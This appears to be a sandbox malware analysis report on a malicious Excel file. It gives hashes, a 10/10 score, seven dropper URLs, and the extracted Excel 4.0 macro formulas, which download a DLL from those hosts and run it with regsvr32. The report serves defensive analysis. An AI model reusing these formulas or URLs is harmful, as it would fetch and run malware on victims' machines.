General

  • Target

    c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da

  • Size

    21KB

  • Sample

    241120-2srqtszkhr

  • MD5

    05b93aed69dfea0b593ee4c21505f757

  • SHA1

    44f397a0a48da8159cd8c89fe88e2819e83759ca

  • SHA256

    c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da

  • SHA512

    e1f17a6f29fd28ec3dfe2c33aab50f4c66f7301c30bc743af3632fd72e2f35b057b7a1431a8f98e0008654ac20d854c3534d9c77e6efcfea59d441f90b567483

  • SSDEEP

    384:Y8c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:YPksNPzXSFCBn9kC+xbLTc9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

http://snappylookphotobooth.com/headers/P/

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

http://casadorothea.com/cc/H5v/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/conditions/8I3WSx5t2k/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://orchidbg.com/aeeiludqootr/OcnjiLHL/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://westthamesphysio.com/blog/3tsZIz09Sox1Z/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://snappylookphotobooth.com/headers/P/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://casadorothea.com/cc/H5v/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

xlm40.dropper

http://snappylookphotobooth.com/headers/P/

xlm40.dropper

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

xlm40.dropper

http://casadorothea.com/cc/H5v/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

Targets

    • Target

      c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da

    • Size

      21KB

    • MD5

      05b93aed69dfea0b593ee4c21505f757

    • SHA1

      44f397a0a48da8159cd8c89fe88e2819e83759ca

    • SHA256

      c8e18f4eb2ca9bb8c6a1e6c59eb6fd57c752e93c87efe4fe4e974963cc20f8da

    • SHA512

      e1f17a6f29fd28ec3dfe2c33aab50f4c66f7301c30bc743af3632fd72e2f35b057b7a1431a8f98e0008654ac20d854c3534d9c77e6efcfea59d441f90b567483

    • SSDEEP

      384:Y8c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:YPksNPzXSFCBn9kC+xbLTc9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks